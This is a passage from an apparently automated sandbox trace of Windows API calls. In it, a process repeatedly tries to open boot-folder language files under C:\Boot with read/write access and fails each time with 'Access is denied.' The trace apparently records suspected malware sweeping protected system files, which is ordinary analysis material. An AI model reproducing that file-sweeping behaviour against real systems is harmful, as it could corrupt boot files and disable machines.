dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0115.182] GetLastError () returned 0x5 [0115.182] SetLastError (dwErrCode=0x5) [0115.182] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.182] GetLastError () returned 0x5 [0115.182] SetLastError (dwErrCode=0x5) [0115.182] GetLastError () returned 0x5 [0115.182] SetLastError (dwErrCode=0x5) [0115.182] GetLastError () returned 0x5 [0115.182] SetLastError (dwErrCode=0x5) [0115.182] GetLastError () returned 0x5 [0115.182] SetLastError (dwErrCode=0x5) [0115.182] GetLastError () returned 0x5 [0115.182] SetLastError (dwErrCode=0x5) [0115.182] GetLastError () returned 0x5 [0115.182] SetLastError (dwErrCode=0x5) [0115.182] GetLastError () returned 0x5 [0115.182] SetLastError (dwErrCode=0x5) [0115.182] GetLastError () returned 0x5 [0115.182] SetLastError (dwErrCode=0x5) [0115.182] GetLastError () returned 0x5 [0115.182] SetLastError (dwErrCode=0x5) [0115.182] GetLastError () returned 0x5 [0115.182] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0115.183] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0115.183] lstrlenW (lpString="CreateFile") returned 10 [0115.183] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0115.183] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.183] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.183] lstrlenW (lpString="5") returned 1 [0115.183] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.183] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.183] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.183] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.183] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.183] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.183] LocalFree (hMem=0x65ded8) returned 0x0 [0115.183] LocalFree (hMem=0x2568430) returned 0x0 [0115.183] GetLastError () returned 0x5 [0115.183] SetLastError (dwErrCode=0x5) [0115.183] GetLastError () returned 0x5 [0115.183] SetLastError (dwErrCode=0x5) [0115.183] GetLastError () returned 0x5 [0115.183] SetLastError (dwErrCode=0x5) [0115.183] GetLastError () returned 0x5 [0115.183] SetLastError (dwErrCode=0x5) [0115.183] GetLastError () returned 0x5 [0115.183] SetLastError (dwErrCode=0x5) [0115.183] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0115.183] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0115.183] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0115.184] GetLastError () returned 0x5 [0115.184] SetLastError (dwErrCode=0x5) [0115.184] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.184] GetLastError () returned 0x5 [0115.184] SetLastError (dwErrCode=0x5) [0115.184] GetLastError () returned 0x5 [0115.184] SetLastError (dwErrCode=0x5) [0115.184] GetLastError () returned 0x5 [0115.184] SetLastError (dwErrCode=0x5) [0115.184] GetLastError () returned 0x5 [0115.184] SetLastError (dwErrCode=0x5) [0115.184] GetLastError () returned 0x5 [0115.184] SetLastError (dwErrCode=0x5) [0115.184] GetLastError () returned 0x5 [0115.184] SetLastError (dwErrCode=0x5) [0115.184] GetLastError () returned 0x5 [0115.184] SetLastError (dwErrCode=0x5) [0115.184] GetLastError () returned 0x5 [0115.184] SetLastError (dwErrCode=0x5) [0115.184] GetLastError () returned 0x5 [0115.184] SetLastError (dwErrCode=0x5) [0115.184] GetLastError () returned 0x5 [0115.184] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0115.184] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0115.184] lstrlenW (lpString="CreateFile") returned 10 [0115.184] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0115.185] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.185] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.185] lstrlenW (lpString="5") returned 1 [0115.185] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.185] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.185] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.185] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.185] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.185] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.185] LocalFree (hMem=0x65ded8) returned 0x0 [0115.185] LocalFree (hMem=0x2568430) returned 0x0 [0115.185] GetLastError () returned 0x5 [0115.185] SetLastError (dwErrCode=0x5) [0115.185] GetLastError () returned 0x5 [0115.185] SetLastError (dwErrCode=0x5) [0115.185] GetLastError () returned 0x5 [0115.185] SetLastError (dwErrCode=0x5) [0115.185] GetLastError () returned 0x5 [0115.185] SetLastError (dwErrCode=0x5) [0115.185] GetLastError () returned 0x5 [0115.185] SetLastError (dwErrCode=0x5) [0115.185] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0115.185] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0115.185] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0115.186] GetLastError () returned 0x5 [0115.186] SetLastError (dwErrCode=0x5) [0115.186] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.186] GetLastError () returned 0x5 [0115.186] SetLastError (dwErrCode=0x5) [0115.186] GetLastError () returned 0x5 [0115.186] SetLastError (dwErrCode=0x5) [0115.186] GetLastError () returned 0x5 [0115.186] SetLastError (dwErrCode=0x5) [0115.186] GetLastError () returned 0x5 [0115.186] SetLastError (dwErrCode=0x5) [0115.186] GetLastError () returned 0x5 [0115.186] SetLastError (dwErrCode=0x5) [0115.186] GetLastError () returned 0x5 [0115.186] SetLastError (dwErrCode=0x5) [0115.186] GetLastError () returned 0x5 [0115.186] SetLastError (dwErrCode=0x5) [0115.186] GetLastError () returned 0x5 [0115.186] SetLastError (dwErrCode=0x5) [0115.186] GetLastError () returned 0x5 [0115.186] SetLastError (dwErrCode=0x5) [0115.186] GetLastError () returned 0x5 [0115.186] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0115.186] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0115.186] lstrlenW (lpString="CreateFile") returned 10 [0115.186] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0115.186] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.187] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.187] lstrlenW (lpString="5") returned 1 [0115.187] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.187] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.187] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.187] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.187] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.187] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.187] LocalFree (hMem=0x65ded8) returned 0x0 [0115.187] LocalFree (hMem=0x2568430) returned 0x0 [0115.187] GetLastError () returned 0x5 [0115.187] SetLastError (dwErrCode=0x5) [0115.187] GetLastError () returned 0x5 [0115.187] SetLastError (dwErrCode=0x5) [0115.187] GetLastError () returned 0x5 [0115.187] SetLastError (dwErrCode=0x5) [0115.187] GetLastError () returned 0x5 [0115.187] SetLastError (dwErrCode=0x5) [0115.187] GetLastError () returned 0x5 [0115.187] SetLastError (dwErrCode=0x5) [0115.187] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0115.187] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0115.187] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0115.188] GetLastError () returned 0x5 [0115.188] SetLastError (dwErrCode=0x5) [0115.188] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.188] GetLastError () returned 0x5 [0115.188] SetLastError (dwErrCode=0x5) [0115.188] GetLastError () returned 0x5 [0115.188] SetLastError (dwErrCode=0x5) [0115.188] GetLastError () returned 0x5 [0115.188] SetLastError (dwErrCode=0x5) [0115.188] GetLastError () returned 0x5 [0115.188] SetLastError (dwErrCode=0x5) [0115.188] GetLastError () returned 0x5 [0115.188] SetLastError (dwErrCode=0x5) [0115.188] GetLastError () returned 0x5 [0115.188] SetLastError (dwErrCode=0x5) [0115.188] GetLastError () returned 0x5 [0115.188] SetLastError (dwErrCode=0x5) [0115.188] GetLastError () returned 0x5 [0115.188] SetLastError (dwErrCode=0x5) [0115.188] GetLastError () returned 0x5 [0115.188] SetLastError (dwErrCode=0x5) [0115.188] GetLastError () returned 0x5 [0115.188] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0115.188] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0115.188] lstrlenW (lpString="CreateFile") returned 10 [0115.188] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0115.188] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.188] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.188] lstrlenW (lpString="5") returned 1 [0115.189] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.189] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.189] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.189] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.189] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.189] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.189] LocalFree (hMem=0x65ded8) returned 0x0 [0115.189] LocalFree (hMem=0x2568430) returned 0x0 [0115.189] GetLastError () returned 0x5 [0115.189] SetLastError (dwErrCode=0x5) [0115.189] GetLastError () returned 0x5 [0115.189] SetLastError (dwErrCode=0x5) [0115.189] GetLastError () returned 0x5 [0115.189] SetLastError (dwErrCode=0x5) [0115.189] GetLastError () returned 0x5 [0115.189] SetLastError (dwErrCode=0x5) [0115.189] GetLastError () returned 0x5 [0115.189] SetLastError (dwErrCode=0x5) [0115.189] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0115.189] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0115.189] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0115.189] GetLastError () returned 0x5 [0115.189] SetLastError (dwErrCode=0x5) [0115.190] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.190] GetLastError () returned 0x5 [0115.190] SetLastError (dwErrCode=0x5) [0115.190] GetLastError () returned 0x5 [0115.190] SetLastError (dwErrCode=0x5) [0115.190] GetLastError () returned 0x5 [0115.190] SetLastError (dwErrCode=0x5) [0115.190] GetLastError () returned 0x5 [0115.190] SetLastError (dwErrCode=0x5) [0115.190] GetLastError () returned 0x5 [0115.190] SetLastError (dwErrCode=0x5) [0115.190] GetLastError () returned 0x5 [0115.190] SetLastError (dwErrCode=0x5) [0115.190] GetLastError () returned 0x5 [0115.190] SetLastError (dwErrCode=0x5) [0115.190] GetLastError () returned 0x5 [0115.190] SetLastError (dwErrCode=0x5) [0115.190] GetLastError () returned 0x5 [0115.190] SetLastError (dwErrCode=0x5) [0115.190] GetLastError () returned 0x5 [0115.190] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0115.190] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0115.190] lstrlenW (lpString="CreateFile") returned 10 [0115.190] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0115.190] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.190] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.190] lstrlenW (lpString="5") returned 1 [0115.190] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.190] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.191] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.191] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.191] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.191] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.191] LocalFree (hMem=0x65ded8) returned 0x0 [0115.191] LocalFree (hMem=0x2568430) returned 0x0 [0115.191] GetLastError () returned 0x5 [0115.191] SetLastError (dwErrCode=0x5) [0115.191] GetLastError () returned 0x5 [0115.191] SetLastError (dwErrCode=0x5) [0115.191] GetLastError () returned 0x5 [0115.191] SetLastError (dwErrCode=0x5) [0115.191] GetLastError () returned 0x5 [0115.191] SetLastError (dwErrCode=0x5) [0115.191] GetLastError () returned 0x5 [0115.191] SetLastError (dwErrCode=0x5) [0115.191] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0115.191] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0115.191] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0115.191] GetLastError () returned 0x5 [0115.191] SetLastError (dwErrCode=0x5) [0115.191] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.191] GetLastError () returned 0x5 [0115.191] SetLastError (dwErrCode=0x5) [0115.192] GetLastError () returned 0x5 [0115.192] SetLastError (dwErrCode=0x5) [0115.192] GetLastError () returned 0x5 [0115.192] SetLastError (dwErrCode=0x5) [0115.192] GetLastError () returned 0x5 [0115.192] SetLastError (dwErrCode=0x5) [0115.192] GetLastError () returned 0x5 [0115.192] SetLastError (dwErrCode=0x5) [0115.192] GetLastError () returned 0x5 [0115.192] SetLastError (dwErrCode=0x5) [0115.192] GetLastError () returned 0x5 [0115.192] SetLastError (dwErrCode=0x5) [0115.192] GetLastError () returned 0x5 [0115.192] SetLastError (dwErrCode=0x5) [0115.192] GetLastError () returned 0x5 [0115.192] SetLastError (dwErrCode=0x5) [0115.192] GetLastError () returned 0x5 [0115.192] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0115.192] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0115.192] lstrlenW (lpString="CreateFile") returned 10 [0115.192] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0115.192] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.192] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.192] lstrlenW (lpString="5") returned 1 [0115.192] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.192] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.192] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.192] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.192] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.193] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.193] LocalFree (hMem=0x65ded8) returned 0x0 [0115.193] LocalFree (hMem=0x2568430) returned 0x0 [0115.193] GetLastError () returned 0x5 [0115.193] SetLastError (dwErrCode=0x5) [0115.193] GetLastError () returned 0x5 [0115.193] SetLastError (dwErrCode=0x5) [0115.193] GetLastError () returned 0x5 [0115.193] SetLastError (dwErrCode=0x5) [0115.193] GetLastError () returned 0x5 [0115.193] SetLastError (dwErrCode=0x5) [0115.193] GetLastError () returned 0x5 [0115.193] SetLastError (dwErrCode=0x5) [0115.193] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0115.193] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0115.193] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0115.193] GetLastError () returned 0x5 [0115.193] SetLastError (dwErrCode=0x5) [0115.193] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.193] GetLastError () returned 0x5 [0115.193] SetLastError (dwErrCode=0x5) [0115.193] GetLastError () returned 0x5 [0115.193] SetLastError (dwErrCode=0x5) [0115.193] GetLastError () returned 0x5 [0115.194] SetLastError (dwErrCode=0x5) [0115.194] GetLastError () returned 0x5 [0115.194] SetLastError (dwErrCode=0x5) [0115.194] GetLastError () returned 0x5 [0115.194] SetLastError (dwErrCode=0x5) [0115.194] GetLastError () returned 0x5 [0115.194] SetLastError (dwErrCode=0x5) [0115.194] GetLastError () returned 0x5 [0115.194] SetLastError (dwErrCode=0x5) [0115.194] GetLastError () returned 0x5 [0115.194] SetLastError (dwErrCode=0x5) [0115.194] GetLastError () returned 0x5 [0115.194] SetLastError (dwErrCode=0x5) [0115.194] GetLastError () returned 0x5 [0115.194] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0115.194] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0115.194] lstrlenW (lpString="CreateFile") returned 10 [0115.194] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0115.194] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.194] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.194] lstrlenW (lpString="5") returned 1 [0115.194] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.194] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.194] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.194] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.194] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.194] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.194] LocalFree (hMem=0x65ded8) returned 0x0 [0115.194] LocalFree (hMem=0x2568430) returned 0x0 [0115.194] GetLastError () returned 0x5 [0115.195] SetLastError (dwErrCode=0x5) [0115.195] GetLastError () returned 0x5 [0115.195] SetLastError (dwErrCode=0x5) [0115.195] GetLastError () returned 0x5 [0115.195] SetLastError (dwErrCode=0x5) [0115.195] GetLastError () returned 0x5 [0115.195] SetLastError (dwErrCode=0x5) [0115.195] GetLastError () returned 0x5 [0115.195] SetLastError (dwErrCode=0x5) [0115.195] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0115.195] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0115.195] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0115.195] GetLastError () returned 0x5 [0115.195] SetLastError (dwErrCode=0x5) [0115.195] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.195] GetLastError () returned 0x5 [0115.195] SetLastError (dwErrCode=0x5) [0115.195] GetLastError () returned 0x5 [0115.195] SetLastError (dwErrCode=0x5) [0115.195] GetLastError () returned 0x5 [0115.195] SetLastError (dwErrCode=0x5) [0115.195] GetLastError () returned 0x5 [0115.195] SetLastError (dwErrCode=0x5) [0115.196] GetLastError () returned 0x5 [0115.196] SetLastError (dwErrCode=0x5) [0115.196] GetLastError () returned 0x5 [0115.196] SetLastError (dwErrCode=0x5) [0115.196] GetLastError () returned 0x5 [0115.196] SetLastError (dwErrCode=0x5) [0115.196] GetLastError () returned 0x5 [0115.196] SetLastError (dwErrCode=0x5) [0115.196] GetLastError () returned 0x5 [0115.196] SetLastError (dwErrCode=0x5) [0115.196] GetLastError () returned 0x5 [0115.196] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0115.196] 